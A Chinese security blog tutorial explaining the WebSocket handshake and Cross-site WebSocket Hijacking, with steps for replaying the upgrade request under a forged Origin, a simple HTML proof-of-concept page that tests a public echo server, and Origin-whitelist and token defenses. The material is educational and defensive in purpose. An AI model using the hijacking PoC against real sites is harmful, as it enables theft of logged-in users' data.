0x01 WebSocket

基本概念

一般的,Web应用的交互过程通常是客户端通过浏览器发出一个请求,服务器端接收请求后进行处理并返回结果给客户端,客户端浏览器将信息呈现。这种机制对于信息变化不是特别频繁的应用尚可,但却不适用于高并发与用户实时响应的场景,比如股票的实时信息、地图导航等。

于是,基于HTML5规范的、有Web TCP之称的WebSocket应运而生。

WebSocket是HTML5一种新的协议,它实现了浏览器和服务器全双工通信,更好地节省服务器资源和宽带并达到实时通讯,它建立在TCP之上,同HTTP一样通过TCP来传输数据,但和HTTP协议的不同点在于:

  • WebSocket是持久化的协议,而HTTP是非持久连接;
  • WebSocket是一种双向通信协议,在建立连接后,WebSocket服务器和浏览器/客户端代理都能主动地向对方发送或接收数据,就像Socket一样,而HTTP是单向通信协议;
  • WebSocket需要类似TCP的三次握手连接,但和TCP不同的是,WebSocket是基于HTTP协议进行的握手,连接成功后才能相互通信;
  • WebSocket具有功能强大、双向、低延迟等特征,特别是针对实时的、事件驱动的Web应用程序而言,不惜要的网络流量和延迟得以显著减少,通信效率和应用程序表现大大提升;

WebSocket定义了两种URI格式:ws://和wss://,类似于HTTP和HTTPS,ws://使用明文传输,默认端口为80,wss://使用TLS加密传输,默认端口为443。

协议转换与报文特征

WebSocket协议是基于HTTP协议进行的握手连接之后才转换过来的。通信协议从http://或https://切换到ws://或wss://后,表示应用已经切换到了WebSocket协议通信状态了。

websocket.org页面上,点击Connect会发现请求的协议为ws://,并且响应码是101,一旦服务器返回101响应即意味着完成了WebSocket协议的切换:

该站点也提供了客户端的HTML与JS代码来访问WebSocket,JS建立WebSocket连接的接口为new WebSocket(url, [protocol] )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<!DOCTYPE html>
<meta charset="utf-8" />
<title>WebSocket Test</title>
<script language="javascript" type="text/javascript">
var wsUri = "wss://echo.websocket.org/";
var output;

function init()
{
output = document.getElementById("output");
testWebSocket();
}

function testWebSocket()
{
websocket = new WebSocket(wsUri);
websocket.onopen = function(evt) { onOpen(evt) };
websocket.onclose = function(evt) { onClose(evt) };
websocket.onmessage = function(evt) { onMessage(evt) };
websocket.onerror = function(evt) { onError(evt) };
}

function onOpen(evt)
{
writeToScreen("CONNECTED");
doSend("WebSocket rocks");
}

function onClose(evt)
{
writeToScreen("DISCONNECTED");
}

function onMessage(evt)
{
writeToScreen('<span style="color: blue;">RESPONSE: ' + evt.data+'</span>');
websocket.close();
}

function onError(evt)
{
writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data);
}

function doSend(message)
{
writeToScreen("SENT: " + message);
websocket.send(message);
}

function writeToScreen(message)
{
var pre = document.createElement("p");
pre.style.wordWrap = "break-word";
pre.innerHTML = message;
output.appendChild(pre);
}

window.addEventListener("load", init, false);
</script>
<h2>WebSocket Test</h2>
<div id="output"></div>

访问该HTML文件就会自己发送WebSocket请求,在Frames一栏可看到进行交互的WebSocket协议信息:

Burp能抓取到协议转换的这个101报文,但之后ws://或wss://协议的通信报文就抓不到了:

看到两个关键的头字段Connection和Upgrade,相当于告诉服务端要申请切换到WebSocket协议。其中Connection头字段指定Upgrade、申请切换协议,而Upgrade头字段指定为websocket、具体告诉服务端想切换的协议为WebSocket。

整个WebSocket协议切换报文如下:

其他一些头字段解释如下:

HTTP头 是否必须 解释
Host 服务端主机名
Upgrade 固定值,”websocket”
Connection 固定值,”Upgrade”
Sec-WebSocket-Key 客户端临时生成的16字节随机值, base64编码
Sec-WebSocket-Version WebSocket协议版本
Origin 可选, 发起连接请求的源
Sec-WebSocket-Accept 是(服务端) 服务端识别连接生成的随机值
Sec-WebSocket-Protocol 可选,客户端支持的协议
Sec-WebSocket-Extensions 可选, 扩展字段

两个重要的安全头,Sec-WebSocket-Key与Sec-WebSocket-Accept:客户端负责生成一个Base64编码过的随机数字作为Sec-WebSocket-Key,服务器则会将一个GUID和这个客户端的随机数一起生成一个散列Key作为Sec-WebSocket-Accept返回给客户端。这个工作机制可以用来避免缓存代理(caching proxy),也可以用来避免请求重播(request replay)。

出于安全考虑而设计的,以“Sec-”开头的头字段可以避免被浏览器脚本读取到,这样攻击者就不能利用XHR来伪造WebSocket请求来执行跨协议攻击,因为XHR接口不允许设置Sec-开头的Header。

WebSocket属性

属性 描述
Socket.readyState 只读属性 readyState 表示连接状态,可以是以下值:0 - 表示连接尚未建立。1 - 表示连接已建立,可以进行通信。2 - 表示连接正在进行关闭。3 - 表示连接已经关闭或者连接不能打开。
Socket.bufferedAmount 只读属性 bufferedAmount 已被 send() 放入正在队列中等待传输,但是还没有发出的 UTF-8 文本字节数。

WebSocket事件

事件 事件处理程序 描述
open Socket.onopen 连接建立时触发
message Socket.onmessage 客户端接收服务端数据时触发
error Socket.onerror 通信发生错误时触发
close Socket.onclose 连接关闭时触发

WebSocket方法

方法 描述
Socket.send() 使用连接发送数据
Socket.close() 关闭连接

跨域

跨域是WebSocket与生俱来的能力。

由前面协议转换可知,WebSocket客户端不仅仅局限于浏览器,因此WebSocket协议没有规范Origin必须相同,未指定ACAO,也没有规定服务器在握手阶段应该如何认证客户端身份,因而同源策略、CORS机制并不适用于WebSocket协议。

0x02 CSWSH漏洞

CSWSH全称Cross-site WebSocket Hijacking,跨站点WebSocket劫持漏洞。

漏洞场景

支持WebSocket协议的Web站点如股票实时查询、地图导航等,并且未对请求的Origin头字段进行校验。

漏洞原理

CSWSH漏洞类似于全能型的CSRF漏洞,可读可写。

漏洞根源是WebSocket天生可跨域,不受同源策略的影响。在此基础上,若目标服务端未对WebSocket协议请求的Origin头字段进行校验,则会导致WebSocket协议请求可被攻击者劫持,从而窃取敏感信息。

下面看个修改过的图,是目标站点存在cookie校验机制的场景:

  1. 用户首先登录stock.com实时查询股票信息,其中该站点支持WebSocket,需要用户携带cookie访问;
  2. 接着用户被诱使在当前的浏览器访问beauty.com,其中加载了恶意JS代码到用户的浏览器中执行;
  3. 恶意JS代码通过WebSocket协议向stock.com站点发起请求,此时请求是用户浏览器发起的、是自动带上cookie信息的;
  4. stock.com收到恶意JS发送的WebSocket请求,由于未校验ws://请求的Origin头字段,在检测cookie合法后,返回敏感信息到用户浏览器;
  5. 用户浏览器中的恶意JS收到stock.com响应的WebSocket协议响应信息后,发往攻击者服务器,从而造成跨站点WebSocket劫持攻击;

漏洞挖掘

进行CSWSH漏洞挖掘前需要准备好一款可以重放WebSocket协议报文的代理工具,Burp是做不到的,但是我们可以选择OWASP ZAP来实现。

一般的漏洞挖掘步骤:

  1. 找到支持WebSocket的站点;
  2. 使用ZAP等代理工具重放切换WebSocket协议的报文,其中修改Origin头查看服务端是否校验Origin头;
  3. 若未校验Origin头,则进一步发送WebSocket连接报文查看能否成功利用;

当然,切换协议的请求报文依然是可以使用Burp来完成的,这里修改Origin头之后再重放报文,发现成功响应101报文,证明该站点未校验Origin,可能存在CSWSH漏洞:

由于未找到合适的靶场环境,下面以https://demos.kaazing.com/echo/index.html为例演示,该站点建立的WebSocket连接是无需带cookie的。

先用ZAP代理抓取到101响应报文:

建立WebSocket连接后,通过该协议发送信息,在ZAP的WebSockets一栏可以查看到发送的内容:

使用ZAP重放切换WebSocket协议请求的报文,修改Origin头:

发送过去后响应101,说明协议切换成功,服务端并未校验Origin头:

下面就编写PoC ws_exp.html,直接拿前面的代码修改下,放置在攻击者的服务器上,原理就是XHR发起建立WebSocket协议请求,建立成功后尝试发送”Mi1k7ea“字符串信息通信,若返回内容为”Mi1k7ea“则证明能够正常进行WebSocket通信,即能够被跨站点劫持进行WebSocket通信:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<!DOCTYPE html>
<meta charset="utf-8" />
<title>WebSocket Test</title>
<script language="javascript" type="text/javascript">

var wsUri = "wss://demos.kaazing.com/echo";
var output;

function init()
{
output = document.getElementById("output");
testWebSocket();
}

function testWebSocket()
{
websocket = new WebSocket(wsUri);
websocket.onopen = function(evt) { onOpen(evt) };
websocket.onclose = function(evt) { onClose(evt) };
websocket.onmessage = function(evt) { onMessage(evt) };
websocket.onerror = function(evt) { onError(evt) };
}

function onOpen(evt)
{
writeToScreen("CONNECTED");
doSend("Mi1k7ea");
}

function onClose(evt)
{
writeToScreen("DISCONNECTED");
}

function onMessage(evt)
{
writeToScreen('<span style="color: blue;">RESPONSE: ' + evt.data+'</span>');
if ("Mi1k7ea" == evt.data) {alert("存在CSWSH漏洞!");}
websocket.close();
}

function onError(evt)
{
writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data);
}

function doSend(message)
{
writeToScreen("SENT: " + message);
websocket.send(message);
}

function writeToScreen(message)
{
var pre = document.createElement("p");
pre.style.wordWrap = "break-word";
pre.innerHTML = message;
output.appendChild(pre);
}

window.addEventListener("load", init, false);
</script>
<h2>WebSocket Test</h2>
<div id="output"></div>

当然,PoC很简单,具体操作可自行发挥。

诱使已登录目标站点的用户在同一浏览器访问攻击者服务器上的ws_exp.html(当然这里是假设场景),看到能正常建立WebSocket连接并正常通信:

此时Origin头是指向攻击者服务器的,由于后台未校验Origin导致可被跨站点劫持:

0x03 检测与防御

检测方法

修改请求报文中的Origin头字段,重放该WebSocket协议升级请求,若服务器返回101响应则表示连接成功即未对源进行检测,则可能存在CSWSH漏洞。

最好是进一步测试是否可以发送WebSocket消息,若这个WebSocket连接能够发送/接受消息的话,则完全证明CSWSH漏洞的存在。

防御方法

  • 使用token机制;
  • 使用白名单校验请求报文的Origin头字段;

0x04 参考

深入理解跨站点 WebSocket 劫持漏洞的原理及防范

小心 !跨站点websocket劫持!

挖洞经验 | 利用跨站WebSocket劫持(CSWH)实现账户劫持